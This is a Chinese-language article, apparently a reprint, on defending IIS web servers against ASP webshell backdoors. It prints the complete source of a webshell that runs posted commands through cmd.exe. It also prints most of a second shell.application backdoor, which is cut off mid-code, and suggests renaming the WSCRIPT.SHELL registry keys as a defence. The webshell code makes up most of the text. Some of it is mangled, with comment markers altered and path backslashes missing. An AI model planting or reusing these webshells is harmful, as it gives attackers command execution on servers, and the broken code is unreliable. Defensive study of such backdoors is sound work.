Web伺服器上防範基於ASP程式的木馬

來源:互聯網
上載者:User
web|web服務|web伺服器|程式|木馬   隨著ASP 技術的發展,網路上基於ASP技術開發的網站越來越多,對ASP技術的支援可以說已經是windows系統IIS伺服器的一項準系統。但是基於ASP技術的木馬後門,也越來越多,而且功能也越來越強大。由於ASP它本身是伺服器提供的一貢服務功能,所以這種ASP指令碼的木馬後門,不會被殺毒軟體查殺。被駭客們稱為“永遠不會被查殺的後門”。由於其高度的隱蔽性和難查殺性,對網站的安全造成了嚴重的威脅。因此針對ASP木馬的防範和清除,為我們的網管人員提出了更高的技術要求。下面我結合個人的經驗,談一下對兩款比較典型的ASP 木馬的防範方法,希望對大家能夠有所協助。

  以下是第一款木馬的代碼:

<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
 Dim oScript
 Dim oScriptNet
 Dim oFileSys, oFile
 Dim szCMD, szTempFile
 On Error Resume Next
 -- create the COM objects that we will be using --
 Set oScript = Server.CreateObject("WSCRIPT.SHELL")
 Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
 Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
 -- check for a command that we have posted --
 szCMD = Request.Form(".CMD")
 If (szCMD <> "") Then
  -- Use a poor mans pipe ... a temp file --
  szTempFile = "C:" & oFileSys.GetTempName( )
  Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
 End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執行命令">
</FORM>
<PRE><%
 If (IsObject(oFile)) Then
  -- Read the output from our command and remove the temp file --
  On Error Resume Next
  Response.Write Server.HTMLEncode(oFile.ReadAll)
  oFile.Close
  Call oFileSys.DeleteFile(szTempFile, True)
 End If
%>
</BODY>
</HTML>
  然後在命令列裡輸入DIR命令點執行就可以查看目錄了!!它可以使用各種DOS命令,如:copy、net、netstat等。

  但是它的預設執行許可權只有GUEST,也就是IUSR_COMPUTER使用者的執行許可權。當然如果你把IUSR_COMPUTER使用者加入Administrator 群組,那麼你就有管理員權限了。這一款木馬的特點是,使用很方便。幾乎就想當於DOS命令列視窗xx作一樣。但是如果伺服器限制了FSO(無組件上傳),那麼它是沒有辦法使用了。還有就是在伺服器以後增加的虛擬機器主機裡也沒有辦法使用。只能在“預設 Web 網站”裡使用,所以它相對的適用範圍較窄。

  對於防範方法讓我們看一下它的代碼就知道了:

Set oScript = Server.CreateObject("WSCRIPT.SHELL")
'建立了一個名為oScript的WSCRIPT.SHELL對象,用於命令的執行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
  上面三行代碼建立了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三個對象,我們只要在註冊表中把控制WSCRIPT.SHELL對象的項改名或刪除就可以了。如下圖:值得注意的是:我們應該把“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”這兩項都要改名或刪除。因為如我們只修改“WSCRIPT.SHELL”項的話。那麼駭客們只要把代碼修改如下:

Set oScript = Server.CreateObject("WSCRIPT.SHELL.1")
  這個後門木馬就又可以執行了。

  大家可能已經想到了,我們在對“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”改名時,一定要不容易被駭客們猜到,因為例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。駭客們只要把代碼相應的改成:

Set oScript = Server.CreateObject("WSCRIPT.SHELL888")
  木馬程式就又可以執行了。還有就修改了註冊表以後要重起WEB服務,設定才會有效。

  接下來讓我們再來看下一款ASP後門木馬程式的代碼:

<%response.write "<font size=6 color=red>一次只能執行一個xx作</font>" %>
<%response.write now()%><BR>程式所在的實體路徑:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 輸入要瀏覽的目錄<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路徑:<input type=text name=text5 value="<%=szCMD5 %>">
程式:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=發送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 瀏覽目錄
if (szCMD <> "") then
 set shell=server.createobject("shell.application") 建立shell對象
 set fod1=shell.namespace(szcmd)
 set foditems=fod1.items
 for each co in foditems
  response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
 next
end if
%> <%
szCMD1 = Request.Form("text1") 目錄拷貝,不能進行檔案拷貝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
 set shell1=server.createobject("shell.application") 建立shell對象
 set fod1=shell1.namespace(szcmd2)
 for i=len(szcmd1) to 1 step -1
  if mid(szcmd1,i,1)="" then
   path=left(szcmd1,i-1)
   exit for
  end if
 next
 if len(path)=2 then path=path & ""
  path2=right(szcmd1,len(szcmd1)-i)
  set fod2=shell1.namespace(path)
  set foditem=fod2.parsename(path2)
  fod1.copyhere foditem
  response.write "command completed success!"
 end if
%> <%
szCMD3 = Request.Form("text3") 目錄移動
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
 set shell2=server.createobject("shell.application") 建立shell對象
 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
 if mid(szcmd3,i,1)="" then
  path=left(szcmd3,i-1)
  exit for
 end if
 next
 if len(



相關文章

Cloud Intelligence Leading the Digital Future

Alibaba Cloud ACtivate Online Conference, Nov. 20th & 21st, 2019 (UTC+08)

Register Now >

Starter Package

SSD Cloud server and data transfer for only $2.50 a month

Get Started >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。